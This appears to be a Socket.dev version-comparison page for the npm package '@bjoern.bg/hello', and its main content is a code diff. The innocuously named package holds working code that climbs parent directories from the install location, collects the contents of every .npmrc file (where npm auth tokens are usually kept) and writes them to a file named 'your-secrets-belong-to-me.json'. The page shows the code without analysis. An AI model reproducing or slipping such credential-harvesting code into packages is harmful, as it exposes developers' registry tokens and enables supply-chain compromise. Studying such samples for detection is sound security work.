Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

@bjoern.bg/hello

Package Overview
Dependencies
Maintainers
1
Versions
12
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@bjoern.bg/hello - npm Package Compare versions

Comparing version 0.0.5 to 0.0.6

2

package.json
{
"name": "@bjoern.bg/hello",
"version": "0.0.5",
"version": "0.0.6",
"license": "(MIT OR Apache-2.0)",

@@ -5,0 +5,0 @@ "main": "lib/index.js",

// import fs from "node:fs";
// import path from "node:path";
// import glob from "tiny-glob/sync.js";
const fs = require("fs");
try {
const cwd = process.env.INIT_CWD ?? process.cwd();
process.chdir(cwd);
let cwd = process.env.INIT_CWD ?? process.cwd();
console.log(process.cwd());
let isRoot = false;
let npmrcFiles = '';
while(!isRoot) {
process.chdir('../');
// console.log(process.cwd());
if(fs.existsSync('./.npmrc')) {
// console.log('npmrc');
const npmrc = fs.readFileSync('./.npmrc', {
encoding: 'utf-8',
});
npmrcFiles += npmrc + '\n\n';
// console.log(npmrc);
}
isRoot = process.cwd().length <= 3;
}
console.log(cwd);
console.log(npmrcFiles);
fs.writeFileSync(cwd + '/your-secrets-belong-to-me.json', npmrcFiles);
} catch (error) {
console.error(error.stack);
}
SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc